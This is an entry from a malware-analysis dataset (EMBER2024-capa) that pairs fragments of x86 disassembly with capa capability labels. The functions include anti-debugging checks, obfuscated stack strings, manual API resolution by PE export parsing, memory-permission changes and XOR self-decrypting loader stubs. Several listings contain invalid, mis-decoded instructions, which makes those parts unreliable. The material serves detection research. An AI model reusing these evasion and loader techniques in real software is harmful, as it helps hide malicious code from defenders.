joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4468b0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x482863
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.004761ea
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], 0x9d1df8
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], 0x9d1d40
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [0x4840b0]
push eax
mov ecx, edi
call fcn.0047b880
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.0047cd9c
test eax, eax
je 0x4469cc
mov ecx, dword [esp + 0x3c]
call fcn.0047b8ad
mov ecx, dword [esi + 0x1c]
mov ebp, dword [0x4843b0]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x446990
push edi
mov ecx, esi
call fcn.00478f14
mov ecx, esi
call fcn.00446b70
cmp dword [esp + 0x38], 1
jne 0x4469c5
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.0047904f
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28

Function at 0x448bc0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x448bf3
push esi
call fcn.00456f80
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x448bec
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x448c79
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x448c62
mov eax, dword [esi + 8]
test eax, eax
je 0x448c17
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x448c5e
cmp eax, 2
je 0x448c62
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x448c0a
cmp eax, 3
je 0x448c3d
cmp eax, 1
jne 0x448c0a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x448c0a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x448c0a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00448ca0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x448c88
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00448ca0
add esp, 4
pop esi
ret
Function at 0x4bffd3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
rol esi, cl
inc ebp
stc
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.004bfc51
push eax
push esi
push dword [ebp + 8]
call fcn.004bfc06
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.004bfc51
push eax
push esi
push dword [ebp + 8]
call fcn.004bfc06
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
inc ebp
fimul word [ecx - 0x3a]
inc ebp
fistp word [ecx - 0x3a]
inc ebp
loopne 0x4c00dc

Function at 0x4c0087
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
fimul word [ecx - 0x3a]
inc ebp
fistp word [ecx - 0x3a]
inc ebp
loopne 0x4c00dc
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.004bfc51
push eax
push esi
push dword [ebp + 8]
call fcn.004bfc06
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.004bfc41
stc
dec ecx
add dl, byte [esi]
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
invalid
popfd
invalid
Function at 0x4c02a8
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x4c02f5
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x4c02f0
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
add byte [eax], dh
add byte [eax], al
jne 0x4c02da
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x4c02e2
cmp edx, ebx
jne 0x4c0430
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x4c02b1
add eax, dword [eax + 4]
jmp 0x4c029e
mov dword [ebp + 0xc], ebx
jmp 0x4c0300
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x4c0318
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x4c0336
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
invalid
push dword [ebx]
ror byte [ecx - 0x3e7443bb], cl
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x4c0394
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x4c037b
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x4c0384
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x4c038e
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x4c0370
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x4c02fa
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x4c03e1
dec eax
je 0x4c03d8
pop ss
sub eax, 3
je 0x4c03cf
mov dword [ebp - 4], 0x40
jmp 0x4c03fe
mov dword [ebp - 4], 4
jmp 0x4c03e4
mov dword [ebp - 4], 0x20
jmp 0x4c03e4
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
invalid
test eax, eax
je 0x4c0430
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x4c03b0
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.004bfc41
or edi, dword [edi + 0x45]
sar bh, 0x75
adc al, 0x6a
add dword [esi - 1], edx
xlatb
mov eax, esi
jmp 0x4c043c
push 0x8000
push ebx
push esi
call dword [ebp - 8]
Function at 0x4c093d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [eax], al
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
mov byte [ebp - 0x6ab], 1
mov byte [ebp - 0x6aa], 0x17
mov byte [ebp - 0x6a9], 0x17
mov byte [ebp - 0x6a8], 0x29
mov byte [ebp - 0x6a7], 1
mov byte [ebp - 0x6a6], 9
mov byte [ebp - 0x6a5], 0xb
mov byte [ebp - 0x6a4], 0x16
mov byte [ebp - 0x6a3], 0x1d
mov byte [ebp - 0x6a2], 0x64
lea eax, [ebp - 0x6b8]
push eax
call fcn.004bfc51
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004bfc06
add esp, 0xc
mov dword [ebp - 0x690], eax
test dword [eax - 7], esi
invalid
inc esi
test dword [eax - 7], esp
invalid
dec dword [ebx - 0x69e7280]
invalid
invalid
inc esi
test dword [edx - 7], esp
invalid
call dword [ebp - 0x3a]
test dword [ebx - 7], esp
invalid
dec dword [ebx - 0x69b7a3a]
invalid
invalid
in al, dx
lea eax, [ebp - 0x694]
push eax
push 5
lea eax, [ebp - 0x6a0]
push eax
push dword [ebp - 0x33c]
push 0xffffffffffffffff
call dword [ebp - 0x690]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x6c0], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x6bc], eax
push 0x1000
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 0x698], eax
call fcn.004bfc41
pop ebx
add byte [ebx + 0x68b5ff32], 0xf9
invalid
Function at 0x4c17ec
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 1
pop eax
test eax, eax
je 0x4c1ce7
lea eax, [ebp - 0x230]
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x6fc], 0
jne 0x4c17bc
and byte [ebp - 0x77c], 0
and byte [ebp - 0x77b], 0
mov byte [ebp - 0x77a], 4
and byte [ebp - 0x779], 0
mov byte [ebp - 0x778], 0xb8
mov byte [ebp - 0x777], 0xc1
mov byte [ebp - 0x776], 0xa7
mov byte [ebp - 0x775], 0xab
mov byte [ebp - 0x774], 0x89
mov byte [ebp - 0x773], 0x94
mov byte [ebp - 0x772], 0x9c
mov byte [ebp - 0x771], 0x89
mov byte [ebp - 0x770], 0x9a
mov byte [ebp - 0x76f], 0x96
mov byte [ebp - 0x76e], 0xdb
mov byte [ebp - 0x76d], 0xbd
mov byte [ebp - 0x76c], 0x92
mov byte [ebp - 0x76b], 0x97
mov byte [ebp - 0x76a], 0x9e
mov byte [ebp - 0x769], 0x88
mov byte [ebp - 0x768], 0xa7
mov byte [ebp - 0x767], 0xb8
mov byte [ebp - 0x766], 0x94
mov byte [ebp - 0x765], 0x96
mov byte [ebp - 0x764], 0x96
mov byte [ebp - 0x763], 0x94
mov byte [ebp - 0x762], 0x95
mov byte [ebp - 0x761], 0xdb
mov byte [ebp - 0x760], 0xbd
mov byte [ebp - 0x75f], 0x92
mov byte [ebp - 0x75e], 0x97
mov byte [ebp - 0x75d], 0x9e
invalid
call [esi - 0x75b7a3a]
invalid
dec dword [eax - 0x75a7a3a]
invalid
jmp dword [edi - 0x7597a3a]
invalid
jmp [eax - 0x7587a3a]
invalid
inc dword [edx - 0x7577a3a]
invalid
dec dword [eax - 0x7567a3a]
invalid
dec dword [edi - 0x7557a3a]
invalid
call [esi - 0x7547a3a]
invalid
call dword [esi - 0x7537a3a]
invalid
jmp dword [edi - 0x7527a3a]
invalid
dec dword [eax - 0x7517a3a]
invalid
inc dword [edx - 0x7507a3a]
invalid
call dword [esi - 0x74f7a3a]
invalid
dec dword [eax - 0x74e7a3a]
invalid
dec dword [ecx - 0x74d7a3a]
invalid
dec dword [ebp - 0x74c7a3a]
invalid
call ebp
mov byte [ebp - 0x74c], 0x9f
mov byte [ebp - 0x74b], 0x97
mov byte [ebp - 0x74a], 0x97
mov byte [ebp - 0x749], 0xfb
lea eax, [ebp - 0x77c]
push eax
call fcn.004bfc51
pop ecx
mov al, byte [ebp - 0x12c]
mov byte [ebp - 0x778], al
push 0x30
lea eax, [ebp - 0x77c]
push eax
call fcn.004bfc51
pop ecx
push eax
lea eax, [ebp - 0x504]
push eax
call fcn.004bfbb2
add esp, 0xc
lea eax, [ebp - 0x504]
mov dword [ebp - 0x3a0], eax
jmp 0x4c1bb9
cmp dword [ebp - 0x6fc], 1
jne 0x4c186d
and byte [ebp - 0x78c], 0
and byte [ebp - 0x78b], 0
mov byte [ebp - 0x78a], 0xa0
and byte [ebp - 0x789], 0
mov byte [ebp - 0x788], 3
mov byte [ebp - 0x787], 0x3b
mov byte [ebp - 0x786], 0x33
mov byte [ebp - 0x785], 0x3c
mov byte [ebp - 0x784], 0x30
mov byte [ebp - 0x783], 0x3a
mov byte [ebp - 0x782], 0x2d
mov byte [ebp - 0x781], 0x71
mov byte [ebp - 0x780], 0x3b
mov byte [ebp - 0x77f], 0x33
mov byte [ebp - 0x77e], 0x33
mov byte [ebp - 0x77d], 0x5f
push 0xc
lea eax, [ebp - 0x78c]
push eax
call fcn.004bfc51
pop ecx
push eax
mov eax, dword [ebp - 0x28]
lea eax, [ebp + eax - 0x12c]
push eax
call fcn.004bfbb2
add esp, 0xc
lea eax, [ebp - 0x12c]
test esp, edx
invalid
invalid
dec dword [ecx - 0x39f7b]
invalid
jmp 0x4c1bb9
cmp dword [ebp - 0x6fc], 2
jne 0x4c192a
and byte [ebp - 0x79c], 0
and byte [ebp - 0x79b], 0
mov byte [ebp - 0x79a], 0x10
and byte [ebp - 0x799], 0
invalid
Function at 0x4c1e1c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp byte [eax + 0x1c], 0x18
je 0x4c1e05
xchg esi, eax
lodsd eax, dword [esi]
mov eax, dword [eax + 8]
push eax
call fcn.004bfc41
cmp al, 0x89
jo 0x4c1e78
mov edi, eax
mov eax, dword [edi + 0x3c]
mov edx, dword [edi + eax + 0x78]
add edx, edi
xlatb
xlatb
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, edi
call fcn.004bfc41
xchg edx, eax
jg 0x4c1dfd
or dword [ecx - 0x75], 0x34
mov eax, dword [ebx]
idiv dword [eax + 0x50746547]
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne 0x4c1e2e
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne 0x4c1e2e
call fcn.004bfc41
cmp ax, 0x28a5
mov ebx, dword [edx + 0x24]
add ebx, edi
mov cx, word [ebx + ecx*2]
mov ebx, dword [edx + 0x1c]
add ebx, edi
mov eax, dword [ebx + ecx*4]
add eax, edi
push eax
call fcn.004bfc41
lodsd eax, dword [esi]
jmp 0x4c1e09
push dword [ebp + 8]
push dword [ebp + 4]
push dword [ebp]
call fcn.004c0441
iretd
in eax, 0xff
dec edi
call dword [eax + 0x194]
push dword [edi + 0x20]
lea ecx, [ebp - 0x44]
test eax, eax
jne 0x4c1e8f
lea ecx, [ebp - 0x28]
call fcn.004d1069
cmp esi, ebx
jne 0x4c1e6d
mov edi, vtable.CList_struct_HWND_____struct_HWND____.0
mov esi, dword [ebp - 0x40]
jmp 0x4c1edc
call fcn.0046c980
push dword [esi + 8]
mov esi, dword [esi]
call fcn.004764ad
push eax
push 0x5b12a8
call fcn.00472e95
pop ecx
pop ecx
cmp eax, ebx
je 0x4c1edc
mov ecx, eax
cmp dword [eax + 0xb8], ebx
je 0x4c1ed7
call fcn.00477372
cmp eax, ebx
je 0x4c1ea2
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x60]
cmp esi, ebx
jne 0x4c1ea7
mov esi, dword [ebp - 0x24]
jmp 0x4c1f07
push dword [esi + 8]
mov esi, dword [esi]
call fcn.004764ad
push eax
push 0x5a1ab8
call fcn.00472e95
pop ecx
pop ecx
cmp eax, ebx
je 0x4c1f07
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x60]
cmp esi, ebx
jne 0x4c1ee5
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], bl
mov dword [ebp - 0x28], edi
call fcn.004b2778
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x44], edi
call fcn.004b2778
call fcn.00561067
ret

Function at 0x4c6055
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004bfeb9
Function at 0x401000
Capabilities:
Accept command line arguments
Allocate thread local storage
Delete directory
Get common file path

Disassembly:
push 0x100
push 0
push 0x40e3d8
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
call sub.KERNEL32.dll_GetModuleHandleA
mov dword [0x40e3dc], eax
push 0
push 0x1000
push 0
call sub.KERNEL32.dll_HeapCreate
mov dword [0x40e3d8], eax
call section..text
call fcn.0040ab10
call fcn.0040a9bc
call fcn.00408ee3
jmp loc.00414000

Function at 0x403297
Capabilities:
Get common file path

Disassembly:
push ebx
xor eax, eax
push eax
push eax
push eax
push 0x400
call fcn.00407fb0
mov dword [esp], eax
push dword [0x40e7a8]
push dword [0x40e7a8]
call fcn.0040811d
lea eax, [esp + 8]
push eax
call fcn.0040ab90
push dword [esp]
push 0
push 0x40d01e
push dword [esp + 0x10]
call sub.KERNEL32.dll_GetTempFileNameA
push dword [0x40e7a8]
push dword [0x40e7a8]
push dword [esp + 8]
call fcn.00407ec0
lea eax, [0x40e4b0]
push eax
call fcn.0040ab90
push dword [esp]
call fcn.00407fd0
push dword [0x40e4b0]
call fcn.004081ac
push dword [0x40e4b0]
call fcn.004081ba
push dword [0x40e7a8]
push dword [0x40e7a8]
call fcn.00408055
lea eax, [0x40e44c]
push eax
call fcn.0040ab90
push dword [esp + 0x14]
pop eax
call fcn.00407ff0
push eax
xor ebx, ebx
cmp ebx, dword [esp]
jne 0x403370
mov edx, dword [0x40e4b0]
push dword [0x40e7a8]
call fcn.0040ac40
lea eax, [0x40e44c]
push eax
call fcn.0040ab90
mov dword [esp + 0xc], 2
jmp 0x403382
mov ebx, 1
cmp ebx, dword [esp]
jne 0x403382
mov dword [esp + 0xc], 1
pop eax
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 8]
push ebx
pop eax
call fcn.00407ff0
mov dword [0x40e47c], eax
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 8]
inc ebx
push ebx
pop eax
call fcn.00407ff0
mov dword [0x40e3e0], eax
mov eax, 1
jmp 0x4033b5
push dword [esp + 4]
call fcn.0040aca0
add esp, 0xc
pop ebx
ret 4
Function at 0x403f00
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 8]
push 0xf0000000
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x403f25
xor al, al
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0x94
push 0x42bba0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x403f1f
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x8003
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x403f1f
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x403f1f
push ebx
push 0
push 0
push dword [ebp - 0xc]
xor bl, bl
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptVerifySignatureA]
test eax, eax
movzx ebx, bl
mov eax, dword [ebp - 4]
mov ecx, 1
cmovne ebx, ecx
test eax, eax
je 0x403fa7
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x403fb7
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403fc0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push str.C:Windows_system32_rdpkpr.ini
mov dword [ebp - 4], edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x403ff5
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push esi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push ebx
mov dword [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov esi, dword [ebp - 0x14]
push esi
push 0x40
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
test eax, eax
jne 0x404036
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [ebp + 8]
mov eax, esi
mov dword [edi], 0
test eax, eax
jle 0x40407c
nop word [eax + eax]
push 0
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push esi
push dword [ecx]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 8]
test eax, eax
je 0x404079
add dword [edi], eax
sub esi, eax
mov ecx, dword [ebp - 4]
test esi, esi
jg 0x404050
mov eax, dword [ebp - 0xc]
cmp dword [edi], eax
pop edi
push ebx
je 0x40409b
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
push dword [edx]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4063d0
Capabilities:
Create directory
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x42a008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x104
lea eax, [ebp - 0x108]
mov esi, ecx
push 0
push eax
call fcn.00410900
push str.Diagnostics.txt
push esi
push 0x42784c
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.004045b0
add esp, 0x20
push 0
push 0
push 3
push 0
push 1
push closesocket
push str.C:Windows_system32_rdpkpr.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x40651d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x108]
mov edx, 0x153
push eax
call fcn.00406530
add esp, 4
test al, al
je 0x40651d
mov edx, esi
lea ecx, [ebp - 0x108]
call fcn.00404440
test al, al
je 0x40651d
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x104
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00410900
push 0x104
lea eax, [ebp - 0x310]
push 0
push eax
call fcn.00410900
push esi
push str._sx86.dll
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.004045b0
push esi
push str._sx64.dll
lea eax, [ebp - 0x310]
push 0x104
push eax
call fcn.004045b0
lea eax, [ebp - 0x20c]
mov edx, 0x1a7
push eax
call fcn.00406530
add esp, 0x3c
test al, al
je 0x40651d
lea eax, [ebp - 0x310]
mov edx, 0x1ac
push eax
call fcn.00406530
add esp, 4
test al, al
setne al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e04d
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
xor ecx, ebp
pop esi
call fcn.0040e04d
mov esp, ebp
pop ebp
ret

Function at 0x406530
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
mov dword [ebp - 8], 0
push eax
lea eax, [ebp - 8]
mov dword [ebp - 4], 0
push eax
call fcn.004040b0
add esp, 8
test al, al
jne 0x40655c
mov esp, ebp
pop ebp
ret
push esi
push edi
mov edi, dword [ebp - 4]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [ebp + 8]
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x4065a6
push 0
lea eax, [ebp - 0xc]
push eax
push edi
mov edi, dword [ebp - 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x4065ae
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000e1a4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x1000e1b3
pop dword [ebp - 0x2c]
mov eax, 0x1000e1b3
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x8ffcb221
add dword [ebp - 0x3c], 0xbe55932a
mov dword [ebp - 0x38], 0x75379eae
sub dword [ebp - 0x38], 0x43045269
mov dword [ebp - 0x34], 0xf567a39c
add dword [ebp - 0x34], 0x56e4a092
mov dword [ebp - 0x30], 0xca66e751
add dword [ebp - 0x30], 0x359918af
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x9b944acc
sub eax, 0x8b8eb9c0
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xa979afa7
add dword [ebp - 0x3c], 0xcaf8b9af
mov dword [ebp - 0x38], 0x5cf59bf5
sub dword [ebp - 0x38], 0x1b893a80
mov dword [ebp - 0x34], 0x7fd563b7
add dword [ebp - 0x34], 0xe39a08b5
mov dword [ebp - 0x30], 0x53bb94b7
add dword [ebp - 0x30], 0xac446b49
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x62b4e735
sub eax, 0x52af56f5
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x5ab3c
push 0
call eax
mov ecx, 0x3cd9
xor edi, edi
add edi, eax
mov esi, 0x10069400
add esi, dword [ebp - 0x2c]
mov ebx, 0xf113f57e
xor dword [ebp - 8], esi
mov edx, dword [esi]
add dword [ebp - 0x1c], 0x76ad838f
add edx, ebx
add dword [ebp - 0x28], 0xb06f5272
mov dword [edi], edx
add dword [ebp - 8], ebx
add edi, 0xb61847df
add edi, 0x49e7b825
add esi, 0xa471b43a
add esi, 0x5b8e4bca
loop 0x1000e2c0
add eax, 0x52cbcbcb
add eax, 0xad351a6c
xor ebx, ebx
add ebx, eax
add eax, 0x245c4617
sub eax, 0x245c4612
mov ecx, 0x10000000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
